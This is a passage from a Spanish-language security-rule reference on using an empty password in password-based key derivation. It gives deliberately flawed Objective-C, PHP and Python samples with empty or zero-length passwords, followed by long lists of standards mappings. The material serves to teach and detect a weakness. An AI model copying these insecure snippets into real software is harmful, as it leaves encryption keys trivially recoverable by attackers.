No solo permitirá a cualquiera con acceso al código determinar que genere una o varias claves criptográficas basadas en un argumento de contraseña vacía, sino que cualquier usuario malintencionado podrá obtener acceso a cualquier recurso protegido por las claves dañinas. Si, además, un usuario malintencionado tiene acceso al valor de sal que se usa para generar cualquiera de las claves basadas en una contraseña vacía, le resultará muy sencillo descifrar esas claves. Una vez lanzado el programa, no hay forma de cambiar la contraseña vacía, a menos que el programa tenga instaladas las revisiones. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Incluso si los usuarios malintencionados tuvieran solo acceso al ejecutable de la aplicación, podrían saber que se está usando una contraseña vacía.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.javascript.key_management_empty_pbe_password
Abstract
Se utiliza una contraseña vacía para generar una clave a partir de una función de derivación de claves basada en contraseñas (PBKDF). El establecimiento de contraseñas vacías a una PBKDF compromete la seguridad del sistema de una forma difícil de resolver.
Explanation
Nunca es una buena idea pasar un valor vacío como argumento de contraseña a una función de derivación de claves basada en contraseñas criptográfica (PBKDF). En este caso, la clave derivada se basará exclusivamente en la sal proporcionada (debilitándola considerablemente) y complicará en gran medida la solución del problema. Una vez que el código dañino está en ejecución, a menudo la contraseña vacía no se puede cambiar sin aplicar revisiones al software. Si la cuenta protegida por una clave derivada basada en una contraseña vacía se ve comprometida, los propietarios del sistema podrían verse obligados a elegir entre la seguridad y la disponibilidad.

Ejemplo 1: El siguiente código pasa la cadena vacía como el argumento de contraseña a una PBKDF criptográfica:


...
CCKeyDerivationPBKDF(kCCPBKDF2,
"",
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...


No solo permitirá a cualquiera con acceso al código determinar que genere una o varias claves criptográficas basadas en un argumento de contraseña vacía, sino que cualquier usuario malintencionado podrá obtener acceso a cualquier recurso protegido por las claves dañinas. Si, además, un usuario malintencionado tiene acceso al valor de sal que se usa para generar cualquiera de las claves basadas en una contraseña vacía, le resultará muy sencillo descifrar esas claves. Una vez lanzado el programa, no hay forma de cambiar la contraseña vacía, a menos que el programa tenga instaladas las revisiones. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Incluso si los usuarios malintencionados tuvieran solo acceso al ejecutable de la aplicación, podrían saber que se está usando una contraseña vacía.

Ejemplo 2: Algunas API de nivel inferior pueden requerir pasar la longitud de determinados argumentos, además de los valores de los argumentos, de manera que una función pueda leer el valor del argumento como un número de bytes consecutivos, empezando por la ubicación del argumento en la memoria. El siguiente código pasa a cero como el argumento de longitud de contraseña a una PBKDF criptográfica:


...
CCKeyDerivationPBKDF(kCCPBKDF2,
password,
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...


En este caso, incluso si password contiene un valor de contraseña seguro y administrado adecuadamente, al pasar su longitud como cero se obtendrá un valor de contraseña vacío, null o con alguna otra debilidad inesperada.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.objc.key_management_empty_pbe_password
Abstract
Se utiliza una contraseña vacía para generar una clave a partir de una función de derivación de claves basada en contraseñas (PBKDF). El establecimiento de contraseñas vacías a una PBKDF compromete la seguridad del sistema de una forma difícil de resolver.
Explanation
Nunca es una buena idea pasar un valor vacío como argumento de contraseña a una función de derivación de claves basada en contraseñas criptográfica (PBKDF). En este caso, la clave derivada se basará exclusivamente en la sal proporcionada (debilitándola considerablemente) y complicará en gran medida la solución del problema. Una vez que el código dañino está en ejecución, a menudo la contraseña vacía no se puede cambiar sin aplicar revisiones al software. Si la cuenta protegida por una clave derivada basada en una contraseña vacía se ve comprometida, los propietarios del sistema podrían verse obligados a elegir entre la seguridad y la disponibilidad.

Ejemplo 1: El siguiente código pasa la cadena vacía como el argumento de contraseña a una PBKDF criptográfica:


...
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->setEncryptionIndex(0, ZipArchive::EM_AES_256, "");
...


Cualquiera que tenga acceso al código puede determinar que genera una o más claves criptográficas basadas en un argumento de contraseña vacío. Además, cualquiera que tenga incluso técnicas básicas de descifrado podría obtener acceso con éxito a cualquier recurso protegido por las claves infractoras. Si, además, un usuario malintencionado tiene acceso al valor de sal que se usa para generar cualquiera de las claves basadas en una contraseña vacía, le resultará muy sencillo descifrar esas claves. Una vez lanzado el programa, no hay forma de cambiar la contraseña vacía, a menos que el programa tenga instaladas las revisiones. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Incluso si los usuarios malintencionados tuvieran solo acceso al ejecutable de la aplicación, podrían saber que se está usando una contraseña vacía.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.php.key_management_empty_pbe_password
Abstract
Se utiliza una contraseña vacía para generar una clave a partir de una función de derivación de claves basada en contraseñas (PBKDF). El establecimiento de contraseñas vacías a una PBKDF compromete la seguridad del sistema de una forma difícil de resolver.
Explanation
Nunca es una buena idea pasar un valor vacío como argumento de contraseña a una función de derivación de claves basada en contraseñas criptográfica (PBKDF). En este caso, la clave derivada se basará exclusivamente en la sal proporcionada (debilitándola considerablemente) y complicará en gran medida la solución del problema. Una vez que el código dañino está en ejecución, a menudo la contraseña vacía no se puede cambiar sin aplicar revisiones al software. Si la cuenta protegida por una clave derivada basada en una contraseña vacía se ve comprometida, los propietarios del sistema podrían verse obligados a elegir entre la seguridad y la disponibilidad.

Ejemplo 1: El siguiente código pasa la cadena vacía como el argumento de contraseña a una PBKDF criptográfica:


from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', '', salt, 100000)
...


No solo permitirá a cualquiera con acceso al código determinar que genere una o varias claves criptográficas basadas en un argumento de contraseña vacía, sino que cualquier usuario malintencionado podrá obtener acceso a cualquier recurso protegido por las claves dañinas. Si, además, un usuario malintencionado tiene acceso al valor de sal que se usa para generar cualquiera de las claves basadas en una contraseña vacía, le resultará muy sencillo descifrar esas claves. Una vez lanzado el programa, no hay forma de cambiar la contraseña vacía, a menos que el programa tenga instaladas las revisiones. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Incluso si los usuarios malintencionados tuvieran solo acceso al ejecutable de la aplicación, podrían saber que se está usando una contraseña vacía.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
